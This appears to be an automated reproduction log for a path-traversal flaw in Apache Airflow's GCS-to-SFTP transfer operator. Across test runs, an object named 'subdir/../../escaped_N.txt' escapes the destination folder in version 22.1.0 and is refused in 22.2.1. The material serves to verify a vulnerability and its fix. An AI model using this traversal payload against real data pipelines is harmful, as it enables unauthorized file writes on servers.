[repro] Using prepared project cache workdir: /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo [repro] fake-gcs-server already present: /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/tools/fake-gcs-server [repro] fake-gcs-server binary is executable airflow 3.2.2 apache-airflow-providers-google 22.1.0 apache-airflow-providers-sftp 5.8.2 operator_file /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/venv_google_provider_22.1.0/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py gcs_hook_file /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/venv_google_provider_22.1.0/lib/python3.14/site-packages/airflow/providers/google/cloud/hooks/gcs.py airflow 3.2.2 apache-airflow-providers-google 22.2.1 apache-airflow-providers-sftp 5.8.2 operator_file /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py gcs_hook_file /data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/hooks/gcs.py [repro] === VULNERABLE PRODUCT VERSION (22.1.0) === [repro] Running product-path attempt version=22.1.0 attempt=1 { "version": "22.1.0", "attempt": 1, "entrypoint": "airflow tasks test cve_2026_49297_repro_dag copy_malicious_gcs_object_to_sftp", "dag_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/airflow_home/dags/cve_2026_49297_repro_dag.py", "fake_gcs_endpoint": "http://127.0.0.1:36387", "fake_gcs_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/fake_gcs_server.log", "gcs_api_trace": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/gcs_api_trace.json", "gcs_seed_ok": true, "source_bucket": "malicious-bucket", "source_object": "subdir/*", "gcs_listed_object": "subdir/../../escaped_1.txt", "destination_path": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox", "sftp_port": 44365, "sftp_accepted_connections": 2, "escaped_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/escaped_1.txt", "escaped_file_exists": true, "escaped_file_content": "attacker-controlled-content version=22.1.0 attempt=1\n", "file_inside_destination": false, "airflow_task_returncode": 0, "airflow_task_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/airflow_tasks_test.log", "airflow_task_stdout_excerpt": "pi.routes.task_instances] correlation_id=019f36c8-3eef-700d-a4a1-bd6971b8e278 field_count=4 loc=task_instances.py:828 ti_id=019f36c8-38be-7f1d-89de-bd75c41b28ab\n2026-07-06T09:35:20.835604Z [info ] ::endgroup:: [task] loc=task_runner.py:1727\n2026-07-06T09:35:20.836395Z [warning ] Skipping masking for a secret as it's too short (<5 chars) [airflow.sdk._shared.secrets_masker.secrets_masker] loc=secrets_masker.py:590\n2026-07-06T09:35:20.840753Z [info ] Executing copy of gs://malicious-bucket/subdir/../../escaped_1.txt to /data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox/subdir/../../escaped_1.txt [airflow.task.operators.airflow.providers.google.cloud.transfers.gcs_to_sftp.GCSToSFTPOperator] loc=gcs_to_sftp.py:189\n2026-07-06T09:35:20.840859Z [warning ] Remote Identification Change is not verified. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:292\n2026-07-06T09:35:20.840917Z [warning ] No Host Key Verification. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:302\n2026-07-06T09:35:20.841552Z [info ] Connected (version 2.0, client paramiko_3.5.1) [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:20.886447Z [info ] Authentication (password) successful! [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:20.887947Z [info ] [chan 0] Opened sftp connection (server version 3) [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:20.888355Z [info ] /data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox/subdir/../.. already exists [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=sftp.py:298\n2026-07-06T09:35:20.888449Z [info ] [chan 0] sftp session closed. [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:20.894435Z [info ] File downloaded to /tmp/tmpny7wh_0f [airflow.task.hooks.airflow.providers.google.cloud.hooks.gcs.GCSHook] loc=gcs.py:385\n2026-07-06T09:35:20.894513Z [warning ] Remote Identification Change is not verified. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:292\n2026-07-06T09:35:20.894571Z [warning ] No Host Key Verification. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:302\n2026-07-06T09:35:20.936192Z [info ] Connected (version 2.0, client paramiko_3.5.1) [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:20.938631Z [info ] Authentication (password) successful! [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:20.939916Z [info ] [chan 0] Opened sftp connection (server version 3) [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:20.941171Z [info ] [chan 0] sftp session closed. [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:20.941447Z [info ] Done. Uploaded '1' files to /data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox [airflow.task.operators.airflow.providers.google.cloud.transfers.gcs_to_sftp.GCSToSFTPOperator] loc=gcs_to_sftp.py:167\n2026-07-06T09:35:20.941603Z [info ] ::group::Post Execute [task] loc=task_runner.py:1288\n[] []\n2026-07-06T09:35:20.953067Z [info ] Task instance state updated [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-3f6e-703d-ad68-ea3863243b48 loc=task_instances.py:432 new_state=success rows_affected=1 ti_id=019f36c8-38be-7f1d-89de-bd75c41b28ab\n2026-07-06T09:35:20.965231Z [info ] ::endgroup:: [task] loc=task_runner.py:1896\n2026-07-06T09:35:20.974405Z [info ] [DAG TEST] end task task_id=copy_malicious_gcs_object_to_sftp map_index=-1 [airflow.sdk.definitions.dag] loc=dag.py:1497\n", "error": null, "exception_type": null, "target_reached": true, "sftp_operations": [ { "op": "accepted_connection", "peer": "('127.0.0.1', 34182)" }, { "op": "accepted_connection", "peer": "('127.0.0.1', 34190)" }, { "op": "open", "remote": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/inbox/subdir/../../escaped_1.txt", "local": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_1/sftp_root/escaped_1.txt", "flags": 577 } ] } [repro] Running product-path attempt version=22.1.0 attempt=2 { "version": "22.1.0", "attempt": 2, "entrypoint": "airflow tasks test cve_2026_49297_repro_dag copy_malicious_gcs_object_to_sftp", "dag_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/airflow_home/dags/cve_2026_49297_repro_dag.py", "fake_gcs_endpoint": "http://127.0.0.1:42735", "fake_gcs_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/fake_gcs_server.log", "gcs_api_trace": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/gcs_api_trace.json", "gcs_seed_ok": true, "source_bucket": "malicious-bucket", "source_object": "subdir/*", "gcs_listed_object": "subdir/../../escaped_2.txt", "destination_path": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/sftp_root/inbox", "sftp_port": 44839, "sftp_accepted_connections": 2, "escaped_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/sftp_root/escaped_2.txt", "escaped_file_exists": true, "escaped_file_content": "attacker-controlled-content version=22.1.0 attempt=2\n", "file_inside_destination": false, "airflow_task_returncode": 0, "airflow_task_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/airflow_tasks_test.log", "airflow_task_stdout_excerpt": "pi.routes.task_instances] correlation_id=019f36c8-5c15-7b93-ab02-9d551165f91e field_count=4 loc=task_instances.py:828 ti_id=019f36c8-560f-7f8d-84bf-0e21ff561aed\n2026-07-06T09:35:28.295368Z [info ] ::endgroup:: [task] loc=task_runner.py:1727\n2026-07-06T09:35:28.296029Z [warning ] Skipping masking for a secret as it's too short (<5 chars) [airflow.sdk._shared.secrets_masker.secrets_masker] loc=secrets_masker.py:590\n2026-07-06T09:35:28.301028Z [info ] Executing copy of gs://malicious-bucket/subdir/../../escaped_2.txt to /data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/sftp_root/inbox/subdir/../../escaped_2.txt [airflow.task.operators.airflow.providers.google.cloud.transfers.gcs_to_sftp.GCSToSFTPOperator] loc=gcs_to_sftp.py:189\n2026-07-06T09:35:28.301134Z [warning ] Remote Identification Change is not verified. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:292\n2026-07-06T09:35:28.301203Z [warning ] No Host Key Verification. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:302\n2026-07-06T09:35:28.302019Z [info ] Connected (version 2.0, client paramiko_3.5.1) [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:28.346454Z [info ] Authentication (password) successful! [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:28.348386Z [info ] [chan 0] Opened sftp connection (server version 3) [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:28.348936Z [info ] /data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/sftp_root/inbox/subdir/../.. already exists [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=sftp.py:298\n2026-07-06T09:35:28.349042Z [info ] [chan 0] sftp session closed. [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:28.355404Z [info ] File downloaded to /tmp/tmpvrp57nbu [airflow.task.hooks.airflow.providers.google.cloud.hooks.gcs.GCSHook] loc=gcs.py:385\n2026-07-06T09:35:28.355483Z [warning ] Remote Identification Change is not verified. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:292\n2026-07-06T09:35:28.355540Z [warning ] No Host Key Verification. This won't protect against Man-In-The-Middle attacks [airflow.task.hooks.airflow.providers.sftp.hooks.sftp.SFTPHook] loc=ssh.py:302\n2026-07-06T09:35:28.396102Z [info ] Connected (version 2.0, client paramiko_3.5.1) [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:28.398359Z [info ] Authentication (password) successful! [paramiko.transport] loc=transport.py:1944\n2026-07-06T09:35:28.399807Z [info ] [chan 0] Opened sftp connection (server version 3) [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:28.401256Z [info ] [chan 0] sftp session closed. [paramiko.transport.sftp] loc=sftp.py:169\n2026-07-06T09:35:28.401499Z [info ] Done. Uploaded '1' files to /data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/sftp_root/inbox [airflow.task.operators.airflow.providers.google.cloud.transfers.gcs_to_sftp.GCSToSFTPOperator] loc=gcs_to_sftp.py:167\n2026-07-06T09:35:28.401604Z [info ] ::group::Post Execute [task] loc=task_runner.py:1288\n[] []\n2026-07-06T09:35:28.414724Z [info ] Task instance state updated [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-5c92-761d-b0ef-485b288ec21b loc=task_instances.py:432 new_state=success rows_affected=1 ti_id=019f36c8-560f-7f8d-84bf-0e21ff561aed\n2026-07-06T09:35:28.427003Z [info ] ::endgroup:: [task] loc=task_runner.py:1896\n2026-07-06T09:35:28.436219Z [info ] [DAG TEST] end task task_id=copy_malicious_gcs_object_to_sftp map_index=-1 [airflow.sdk.definitions.dag] loc=dag.py:1497\n", "error": null, "exception_type": null, "target_reached": true, "sftp_operations": [ { "op": "accepted_connection", "peer": "('127.0.0.1', 39856)" }, { "op": "accepted_connection", "peer": "('127.0.0.1', 39860)" }, { "op": "open", "remote": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/sftp_root/inbox/subdir/../../escaped_2.txt", "local": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.1.0_2/sftp_root/escaped_2.txt", "flags": 577 } ] } [repro] === FIXED PRODUCT VERSION (22.2.1) === [repro] Running product-path attempt version=22.2.1 attempt=1 { "version": "22.2.1", "attempt": 1, "entrypoint": "airflow tasks test cve_2026_49297_repro_dag copy_malicious_gcs_object_to_sftp", "dag_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/airflow_home/dags/cve_2026_49297_repro_dag.py", "fake_gcs_endpoint": "http://127.0.0.1:44329", "fake_gcs_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/fake_gcs_server.log", "gcs_api_trace": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/gcs_api_trace.json", "gcs_seed_ok": true, "source_bucket": "malicious-bucket", "source_object": "subdir/*", "gcs_listed_object": "subdir/../../escaped_1.txt", "destination_path": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/sftp_root/inbox", "sftp_port": 42799, "sftp_accepted_connections": 0, "escaped_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/sftp_root/escaped_1.txt", "escaped_file_exists": false, "escaped_file_content": null, "file_inside_destination": false, "airflow_task_returncode": 0, "airflow_task_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/airflow_tasks_test.log", "airflow_task_stdout_excerpt": "dagrun.py:2223\n2026-07-06T09:35:34.283355Z [info ] [DAG TEST] starting task_id=copy_malicious_gcs_object_to_sftp map_index=-1 [airflow.sdk.definitions.dag] loc=dag.py:1435\n2026-07-06T09:35:34.283621Z [info ] [DAG TEST] running task [airflow.sdk.definitions.dag] loc=dag.py:1438\n2026-07-06T09:35:35.822261Z [info ] Task started [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-74c7-7e91-819a-ae6597e016d1 hostname=974542b9802b loc=task_instances.py:216 previous_state=queued ti_id=019f36c8-737f-71d2-a3d8-1ed47c172236\n2026-07-06T09:35:35.823527Z [info ] Task instance state updated [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-74c7-7e91-819a-ae6597e016d1 loc=task_instances.py:242 rows_affected=1 ti_id=019f36c8-737f-71d2-a3d8-1ed47c172236\n2026-07-06T09:35:35.847346Z [info ] Updating RenderedTaskInstanceFields [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-79a4-7a27-a93c-d86803ef71e6 field_count=4 loc=task_instances.py:828 ti_id=019f36c8-737f-71d2-a3d8-1ed47c172236\n2026-07-06T09:35:35.862582Z [info ] ::endgroup:: [task] loc=task_runner.py:1727\n2026-07-06T09:35:35.863246Z [warning ] Skipping masking for a secret as it's too short (<5 chars) [airflow.sdk._shared.secrets_masker.secrets_masker] loc=secrets_masker.py:590\n2026-07-06T09:35:35.866411Z [error ] Task failed with exception [task] loc=task_runner.py:1381\nTraceback (most recent call last):\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/execution_time/task_runner.py\", line 1287, in run\n result = _execute_task(context=context, ti=ti, log=log)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/execution_time/task_runner.py\", line 1745, in _execute_task\n result = ctx.run(execute, context=context)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/bases/operator.py\", line 443, in wrapper\n return func(self, *args, **kwargs)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py\", line 164, in execute\n destination_path = self._resolve_destination_path(source_object, prefix=prefix_dirname)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py\", line 196, in _resolve_destination_path\n raise ValueError(\n ...<2 lines>...\n )\nValueError: Refusing to copy GCS object 'subdir/../../escaped_1.txt': resolved destination '/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/sftp_root/escaped_1.txt' escapes configured destination_path '/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/sftp_root/inbox'.\n2026-07-06T09:35:35.867472Z [info ] ::group::Post Execute [task] loc=task_runner.py:1382\n2026-07-06T09:35:35.867624Z [info ] ::endgroup:: [task] loc=task_runner.py:1896\n2026-07-06T09:35:35.876340Z [info ] Task instance state updated [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-79bb-76ad-951a-8cf3a139e299 loc=task_instances.py:432 new_state=failed rows_affected=1 ti_id=019f36c8-737f-71d2-a3d8-1ed47c172236\n2026-07-06T09:35:35.891248Z [info ] [DAG TEST] end task task_id=copy_malicious_gcs_object_to_sftp map_index=-1 [airflow.sdk.definitions.dag] loc=dag.py:1497\n", "error": "10ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/execution_time/task_runner.py\", line 1745, in _execute_task\n result = ctx.run(execute, context=context)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/bases/operator.py\", line 443, in wrapper\n return func(self, *args, **kwargs)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py\", line 164, in execute\n destination_path = self._resolve_destination_path(source_object, prefix=prefix_dirname)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py\", line 196, in _resolve_destination_path\n raise ValueError(\n ...<2 lines>...\n )\nValueError: Refusing to copy GCS object 'subdir/../../escaped_1.txt': resolved destination '/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/sftp_root/escaped_1.txt' escapes configured destination_path '/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_1/sftp_root/inbox'.\n2026-07-06T09:35:35.867472Z [info ] ::group::Post Execute [task] loc=task_runner.py:1382\n2026-07-06T09:35:35.867624Z [info ] ::endgroup:: [task] loc=task_runner.py:1896\n2026-07-06T09:35:35.876340Z [info ] Task instance state updated [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-79bb-76ad-951a-8cf3a139e299 loc=task_instances.py:432 new_state=failed rows_affected=1 ti_id=019f36c8-737f-71d2-a3d8-1ed47c172236\n2026-07-06T09:35:35.891248Z [info ] [DAG TEST] end task task_id=copy_malicious_gcs_object_to_sftp map_index=-1 [airflow.sdk.definitions.dag] loc=dag.py:1497\n", "exception_type": "ValueError", "target_reached": true, "sftp_operations": [] } [repro] Running product-path attempt version=22.2.1 attempt=2 { "version": "22.2.1", "attempt": 2, "entrypoint": "airflow tasks test cve_2026_49297_repro_dag copy_malicious_gcs_object_to_sftp", "dag_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/airflow_home/dags/cve_2026_49297_repro_dag.py", "fake_gcs_endpoint": "http://127.0.0.1:46663", "fake_gcs_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/fake_gcs_server.log", "gcs_api_trace": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/gcs_api_trace.json", "gcs_seed_ok": true, "source_bucket": "malicious-bucket", "source_object": "subdir/*", "gcs_listed_object": "subdir/../../escaped_2.txt", "destination_path": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/sftp_root/inbox", "sftp_port": 35583, "sftp_accepted_connections": 0, "escaped_file": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/sftp_root/escaped_2.txt", "escaped_file_exists": false, "escaped_file_content": null, "file_inside_destination": false, "airflow_task_returncode": 0, "airflow_task_log": "/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/airflow_tasks_test.log", "airflow_task_stdout_excerpt": "dagrun.py:2223\n2026-07-06T09:35:42.611488Z [info ] [DAG TEST] starting task_id=copy_malicious_gcs_object_to_sftp map_index=-1 [airflow.sdk.definitions.dag] loc=dag.py:1435\n2026-07-06T09:35:42.611728Z [info ] [DAG TEST] running task [airflow.sdk.definitions.dag] loc=dag.py:1438\n2026-07-06T09:35:44.156676Z [info ] Task started [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-953c-73b4-bec1-bda82100af10 hostname=974542b9802b loc=task_instances.py:216 previous_state=queued ti_id=019f36c8-9408-73a7-a6a8-d480bb937cb6\n2026-07-06T09:35:44.157989Z [info ] Task instance state updated [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-953c-73b4-bec1-bda82100af10 loc=task_instances.py:242 rows_affected=1 ti_id=019f36c8-9408-73a7-a6a8-d480bb937cb6\n2026-07-06T09:35:44.182467Z [info ] Updating RenderedTaskInstanceFields [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-9a33-7df7-9229-679c36c2df63 field_count=4 loc=task_instances.py:828 ti_id=019f36c8-9408-73a7-a6a8-d480bb937cb6\n2026-07-06T09:35:44.197375Z [info ] ::endgroup:: [task] loc=task_runner.py:1727\n2026-07-06T09:35:44.198129Z [warning ] Skipping masking for a secret as it's too short (<5 chars) [airflow.sdk._shared.secrets_masker.secrets_masker] loc=secrets_masker.py:590\n2026-07-06T09:35:44.201710Z [error ] Task failed with exception [task] loc=task_runner.py:1381\nTraceback (most recent call last):\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/execution_time/task_runner.py\", line 1287, in run\n result = _execute_task(context=context, ti=ti, log=log)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/execution_time/task_runner.py\", line 1745, in _execute_task\n result = ctx.run(execute, context=context)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/bases/operator.py\", line 443, in wrapper\n return func(self, *args, **kwargs)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py\", line 164, in execute\n destination_path = self._resolve_destination_path(source_object, prefix=prefix_dirname)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py\", line 196, in _resolve_destination_path\n raise ValueError(\n ...<2 lines>...\n )\nValueError: Refusing to copy GCS object 'subdir/../../escaped_2.txt': resolved destination '/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/sftp_root/escaped_2.txt' escapes configured destination_path '/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/sftp_root/inbox'.\n2026-07-06T09:35:44.202543Z [info ] ::group::Post Execute [task] loc=task_runner.py:1382\n2026-07-06T09:35:44.202702Z [info ] ::endgroup:: [task] loc=task_runner.py:1896\n2026-07-06T09:35:44.211497Z [info ] Task instance state updated [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-9a4a-7048-8128-df5bdf17af21 loc=task_instances.py:432 new_state=failed rows_affected=1 ti_id=019f36c8-9408-73a7-a6a8-d480bb937cb6\n2026-07-06T09:35:44.226182Z [info ] [DAG TEST] end task task_id=copy_malicious_gcs_object_to_sftp map_index=-1 [airflow.sdk.definitions.dag] loc=dag.py:1497\n", "error": "10ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/execution_time/task_runner.py\", line 1745, in _execute_task\n result = ctx.run(execute, context=context)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/sdk/bases/operator.py\", line 443, in wrapper\n return func(self, *args, **kwargs)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py\", line 164, in execute\n destination_path = self._resolve_destination_path(source_object, prefix=prefix_dirname)\n File \"/data/pruva/project-cache/03610ec6-e6fb-4086-9681-103dd9199da6/repo/airflow_product_venv/lib/python3.14/site-packages/airflow/providers/google/cloud/transfers/gcs_to_sftp.py\", line 196, in _resolve_destination_path\n raise ValueError(\n ...<2 lines>...\n )\nValueError: Refusing to copy GCS object 'subdir/../../escaped_2.txt': resolved destination '/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/sftp_root/escaped_2.txt' escapes configured destination_path '/data/pruva/runs/d858a813-a9e9-431a-85df-e8630e0b506e/bundle/artifacts/product_test_22.2.1_2/sftp_root/inbox'.\n2026-07-06T09:35:44.202543Z [info ] ::group::Post Execute [task] loc=task_runner.py:1382\n2026-07-06T09:35:44.202702Z [info ] ::endgroup:: [task] loc=task_runner.py:1896\n2026-07-06T09:35:44.211497Z [info ] Task instance state updated [airflow.api_fastapi.execution_api.routes.task_instances] correlation_id=019f36c8-9a4a-7048-8128-df5bdf17af21 loc=task_instances.py:432 new_state=failed rows_affected=1 ti_id=019f36c8-9408-73a7-a6a8-d480bb937cb6\n2026-07-06T09:35:44.226182Z [info ] [DAG TEST] end task task_id=copy_malicious_gcs_object_to_sftp map_index=-1 [airflow.sdk.definitions.dag] loc=dag.py:1497\n", "exception_type": "ValueError", "target_reached": true, "sftp_operations": [] } [repro] === Evaluating product-path results === [repro] RESULT: CONFIRMED. Airflow DAG task copied a '../' GCS object from the real GCS API boundary to an SFTP path outside destination_path in 22.1.0; 22.2.1 fails closed with ValueError before SFTP write.